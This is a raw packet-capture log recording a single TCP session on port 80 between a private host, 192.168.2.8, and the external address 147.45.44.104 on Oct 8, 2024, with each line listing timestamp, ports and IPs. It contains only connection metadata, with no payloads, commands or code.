Oct 8, 2024 03:23:05.650326967 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650330067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650352001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650362015 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650372982 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650379896 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650391102 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650398016 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650413036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650423050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650429010 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650441885 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650451899 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650460005 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650471926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650480986 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650491953 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650499105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650506973 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650510073 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650528908 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650541067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650556087 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650563002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650588036 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650783062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650794983 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650821924 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650933981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650959969 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650970936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650979996 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650990963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651000977 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651004076 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651021004 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651031017 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651041031 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651047945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651065111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651071072 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651096106 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651107073 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651108027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651124001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651144028 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651144981 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651160002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651175976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651180029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651191950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651206970 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651210070 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651217937 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651231050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651242971 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651247025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651256084 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651256084 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651273966 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651283026 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651298046 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651298046 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651309013 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651323080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651323080 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651334047 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651348114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651350021 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651357889 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651372910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651376963 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651392937 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651400089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651417971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651428938 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651429892 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651444912 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651457071 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651810884 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651820898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651839972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651849031 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651849985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651866913 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651875973 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651878119 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651892900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651911020 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651928902 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.651949883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651961088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651976109 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651984930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.651998043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652000904 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652009964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652020931 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652026892 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652036905 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652050972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652050972 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652060032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652066946 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652086020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652086973 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652106047 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652116060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652129889 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652137995 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652138948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652154922 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652158976 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652165890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652180910 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652187109 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652193069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652205944 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652215004 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652220011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652235031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652244091 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652247906 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652261972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652266979 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652292013 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652903080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652915001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652930021 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652940035 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652951956 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652956009 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652966022 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652976036 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.652983904 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.652993917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653000116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653009892 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653021097 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653034925 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653036118 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653053999 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653058052 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653069973 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653081894 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653095961 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653095961 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653106928 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653112888 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653124094 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653135061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653137922 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653151989 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653161049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653175116 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653178930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653186083 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653189898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653206110 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653213978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653227091 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653228998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653243065 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653245926 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653263092 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653280020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653285980 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653291941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653305054 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653315067 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653318882 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653335094 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653342009 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653352022 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653372049 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653701067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653711081 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653723955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653736115 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653767109 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653846979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653852940 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653872013 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653887987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653894901 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653909922 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653918982 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653934956 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653942108 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653945923 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653955936 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653963089 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653974056 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.653981924 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.653990030 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654002905 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654012918 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654016018 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654028893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654040098 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654048920 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654059887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654072046 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654098988 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654469967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654479980 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654495955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654504061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654510021 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654520988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654531002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654536009 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654551029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654560089 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654561996 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654587984 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654613972 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654624939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654639959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654650927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654665947 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654665947 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654675007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654680014 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654690981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654700994 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654706001 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654719114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654727936 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654836893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654846907 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654861927 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654870987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654874086 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654887915 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654896975 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654900074 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654916048 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654925108 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654927969 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654942036 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654951096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654953957 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654959917 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.654975891 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.654978037 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655000925 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655150890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655159950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655175924 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655189991 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655205011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655211926 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655215025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655232906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655241966 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655256033 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655256987 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655271053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655281067 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655287981 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655297995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655302048 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655308962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655324936 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655332088 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655334949 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655349016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655356884 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655366898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655399084 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655549049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655559063 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655580997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655581951 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655590057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655616999 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655617952 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655622959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655642986 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655647993 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655659914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655672073 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655678988 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655689001 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655700922 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655713081 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655716896 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655730009 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655735970 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655747890 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655759096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655766964 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655776024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655787945 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655790091 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655819893 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655874014 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655884981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655900002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655915976 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655920029 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655932903 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655944109 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.655975103 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.655993938 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656004906 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656016111 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656032085 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656040907 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656042099 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656059980 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656071901 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656080961 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656090021 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656101942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656104088 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656128883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656132936 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656322002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656332016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656353951 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656363010 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656363964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656383038 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656388998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656400919 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656411886 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656418085 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656433105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656435013 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.656435966 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.656455994 CEST	80	49706	147.45.44.104	192.168.2.8
